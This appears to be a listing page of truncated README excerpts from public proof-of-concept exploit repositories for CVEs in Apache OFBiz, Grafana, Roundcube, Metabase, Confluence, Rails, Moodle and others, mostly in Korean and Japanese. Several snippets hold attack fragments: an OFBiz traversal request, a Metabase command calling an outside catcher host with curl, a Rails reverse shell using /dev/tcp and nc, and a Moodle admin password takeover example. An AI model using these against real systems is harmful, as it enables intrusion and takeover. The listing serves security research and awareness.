CVE-2024-32113

CVE-2024-32113 Apache OFBiz 경로 탐색으로 인한 RCE 익스플로잇. Apache OFBiz에는 제한된 디렉터리의 경로명을 제대로 제한하지 못하는'경로 탐색' 취약점이 존재합니다. 이 문제는 18.12.14미포함 이전 버전의 Apache OFBiz에 영향을 줍니다. 사용자는 이 문제를 해결한 버전 18.12.14 로 업그레이드하는 것이 권장됩니다. fofa 쿼리 app="ApacheOFBiz" POC POST /webtools/control/forgotPassword;/ProgramExport HTTP/1....

POC_CVE-2024-46256

POCCVE-2024-46256 CVE-2024-46256과 CVE-2024-46257은 동일한 POC이며, provider 매개변수만 변경하면 됩니다. 참고 때때로 nc 파일이 서버에서 실행되지 않거나 명령어를 실행하지 못할 수 있습니다! 필수 설치 pip install requests 익스플로잇 실행 python3 POCCVE-2024-46256.py + Target type IP/Host? i/h: i + Enter IP or Host: IP/HOST + Enter Port: PORT + Enter username:...

CVE-2025-55182

CVE-2025-55182 스캐너 이 리포지토리는 React 서버 컴포넌트RSC의 원격 코드 실행RCE 취약점인 CVE-2025-55182 를 위한 스캐너 도구를 포함합니다. ⚠️ 면책 조항 이 도구는 교육 및 승인된 테스트 목적으로만 사용됩니다. 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에서 이 도구를 사용하지 마십시오. 저자는 오용에 대해 책임지지 않습니다. 분석 자세한 기술 분석은 다음을 참조하세요: https://react2shell.com/ 사전 요구 사항 Python 3.x : 스캐너 실행에 필요합니다...

CVE-2017-0144---EtneralBlue-MS17-010-Remote-Code-Execution

CVE-2017-0144---EtneralBlue-MS17-010-Remote-Code-Execution 공격자 머신은 Kali Linux이며, 대상 머신은 Windows Server 2008 R2입니다. 주어진 https://drive.google.com/drive/folders/146ViggeQl0pSpzotcAhpd3h9UP7fFOxJ?usp=sharing 에서 Windows 2008 R2 Server를 가져와 Virtual Box에 임포트하고 네트워크를 브리지 어댑터로 설정하십시오. 취약점을 악용하기 위해 아래 단계를...

CVE-2024-9264-RCE-Exploit

CVE-2024-9264-RCE-Exploit: GrafanaのSQL Expressionsを介したRCE 説明 Grafana（CVE-2024-9264）におけるリモートコード実行（RCE）の概念実証です。 このリポジトリには、GrafanaのSQL Expressions機能におけるリモートコード実行（RCE）脆弱性を悪用するPythonスクリプトが含まれています。 不十分な入力サニタイズを利用することで、攻撃者はサーバー上で任意のシェルコマンドを実行できます。...

CVE-2021-4045

CVE-2021-4045 CVE-2021-4045는 TP-Link Tapo c200 IP 카메라에서 원격 코드 실행을 가능하게 하는 명령 주입 취약점입니다. 이 취약점은 장치의 주요 바이너리 중 하나인 uhttpd에서 사용자 입력에 대한 충분한 검사가 이루어지지 않아 펌웨어 버전 1.1.16 Build 211209 Rel. 37726N 이전의 모든 버전에 영향을 미칩니다. 전체 분석 내용은 여기에서 확인할 수 있습니다. 익스플로잇 pwnTapo.py 이것은 CryptoParty Madrid 2022에서 취약점을 시연하기 위해...

CVE-2025-49113

CVE-2025-49113 – Roundcube 원격 코드 실행 RCE PoC 이 저장소는 Roundcube Webmail 1.5.10 및 1.6.11 이전 버전의 치명적인 원격 코드 실행 취약점인 CVE-2025-49113 에 대한 개념 증명PoC 익스플로잇을 포함하고 있습니다. 이 취약점은 upload.php 스크립트에서 안전하지 않은 PHP 객체 역직렬화로 인해 발생하며, 인증된 사용자가 서버에서 임의의 코드를 실행할 수 있도록 합니다. ⚠️ 면책 조항: 이 PoC는 교육 목적으로만 제공됩니다. 소유하지 않거나 테스트에 대...

CVE-2023-38646

CVE-2023-38646 CVE-2023-38646로 알려진 Metabase RCE 익스플로잇을 위한 자동 도구입니다. 자세한 내용POC, Dork은 https://secry.me/explore/news/metabase-rce-cve-2023-38646/ 에서 확인하세요. single.py 사용법 python3 single.py --url=http://127.0.0.1:8080 --command="curl sub.requestcatcher.com/some-endpoint" 또는 python3 single.py -u...

CVE-2021-44228-PoC-log4j-bypass-words

🤝 サポートをお願いします - コンテンツを気に入ったら ⭐️ をお願いします | Twitterでシェア | 私をフォローする 🐱‍💻 ✂️ 🤬 LOG4J Java エクスプロイト - WAF およびパッチバイパスのトリック 📝 説明 CVE-2021-44228 は以下で動作します： log4j: 2.0 = Apache log4j = 2.14.1 すでにパッチが適用された Java バージョン: 6u211+, 7u201+, 8u191+, 11.0.1+. Windows Defender は、jndi:ldap:... を含む .java ファイルを削除し始めました。...

CVE-2019-7238

CVE-2019-7238 Rico Tencent Security Yunding Lab과 @voidfyoo가 발견한 인증 없는 Nexus Repository Manager 3 원격 코드 실행 취약점 3.15.0 상세 분석 영어: https://chybeta.github.io/2019/02/18/Nexus-Repository-Manager-3-RCE-%E5%88%86%E6%9E%90-%E3%80%90CVE-2019-7238%E3%80%91/ 상세 분석 영어 외: https://xz.aliyun.com/t/4136...

LetsDefend-SOC342-CVE-2025-53770-SharePoint-ToolShell-Auth-Bypass-andRCE-EventID-320

🧠 LetsDefend SharePoint 零日分析（ToolShell - SOC342-CVE-2025-53770） 📘 引言 我在 LetsDefend 网络实验室中调查了一个名为 ToolShell（CVE-2025-53770） 的 SharePoint 零日漏洞。 该演练模拟了一次真实世界的零日 RCE 攻击 ：恶意 POST 请求绕过身份验证，执行 PowerShell 窃取 MachineKeySection 密钥，编译 payload.exe，并植入恶意 Web Shell（spinstall0.aspx）。 本 README 记录了攻击过程、取证步骤、遏制措施...

Apache-CouchDB-CVE-2022-24706-RCE-Exploits-Blog-post-

Apache-CouchDB-CVE-2022-24706-RCE-Exploits-Blog-post- Apache CouchDB CVE-2022-24706 RCE Exploitsについてのブログ記事を書きました。...

CVE-2024-22274-RCE

권한 상승: VMware vCenter Server 인증된 RCE 📜 설명 "com.vmware.appliance.recovery.backup.job.create" 및 "com.vmware.appliance.recovery.backup.validate" API 구성 요소는 플래그 인젝션 공격에 취약하며, 이를 이용해 대상 시스템에서 root 사용자로 임의 명령어를 실행할 수 있습니다." 📚 목차 📜 설명 🛠️ 설치 ⚙️ 사용법 🔎 발견 📝 참고사항 💁 참고자료 📢 면책 조항 🛠️ 설치 및 설정 !NOTE 이 PoC 익스플로잇을...

WordPress_4.9.8_RCE_POC

概要 WordPress RCE（author 権限）の簡単なPoCです。CVE-2019-8942 および CVE-2019-8943 を参照してください。 影響を受けるバージョン WordPress " 3. WPScan で現在のテーマを検出する wpscan -u -et。例: wordpress 4.9.8 のデフォルトでは twentyseventeen 4. ペイロード画像ファイル poc.jpg をアップロードする author アカウントでログインします; ダッシュボードの Media - Add New をクリックして poc.jpg ファイルをアップロードします;...

CVE-2022-24112

CVE-2022-24112 Apache APISIX batch-requests RCECVE-2022-24112 将目标放入url.txt python3 ApacheAPISIXRCECVE-2022-24112.py Cmd:...

CVE-2024-4879-ServiceNow

CVE-2024-4879-ServiceNow ServiceNow は、企業のデジタルワークフロー管理を支援するビジネス変革プラットフォームです。 CVE-2024-4879 は、認証されていないユーザーがNow Platform内でリモートからコードを実行できる可能性があります。この脆弱性は、Title Injection、Template Injection Mitigation Bypass、Filesystem Filter Bypassの3つの問題を連鎖させてServiceNowデータにアクセスします。 影響を受けるバージョンは、Vancouver、Washington D...

CVE-2023-26035

CVE-2023-26035 ZoneMinder スナップショット - 認証不要 インストール リポジトリを取得 $ git clone https://github.com/Yuma-Tsushima07/CVE-2023-26035.git セットアップ 注: 最新バージョンの node をインストールしてください。 $ npm init $ npm i axios cheerio yargs 使い方 ┌─✗─v37r1x@7h3B14ckKn1gh75─/Documents/Code/CVE-2023-26035 └──╼ $node exp.js -h Options:...

through_the_wire

와이어를 통해 Through the Wire는 CVE-2022-26134에 대한 개념 증명 익스플로잇입니다. 이 취약점은 Atlassian Confluence Server 및 Data Center 버전 = 7.13.6 LTS 및 = 7.18.0 "최신"에 영향을 미치는 OGNL 인젝션 취약점입니다. 원래는 실제 환경에서 악용된 제로데이였습니다. 벤더 권고 Volexity "실제 환경" 분석 Rapid7 분석 Through the Wire는 두 가지 다른 익스플로잇을 구현합니다. 리버스 셸은 bash를 호출하므로 탐지될 가능성이...

CVE-2020-8165

CVE-2020-8165 Python 익스플로잇 이 코드는 Python3를 사용하여 CVE-2020-8165를 익스플로잇하기 위한 것입니다. 이 익스플로잇은 rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" 주요 크레딧 원본 CVE 세부 정보: https://vulners.com/cve/CVE-2020-8165 제가 손보고 ArgParse를 추가한...

CVE-2021-36394

CVE-2021-36394 테이블 업데이트 또는 관리자 비밀번호 변경: 사용자 지정 코드 $newpassword = "Accounttakedover123"; 그런 다음 실행: $ CVE2021-36394.php http://victim/pathtomoodle 함수 실행 사용자 지정 코드 $function = "header"; $param = "Hacked: by0d0ff9"; 그런 다음 실행: $ CVE2021-36394RCE.php http://victim/pathtomoodle 데모:...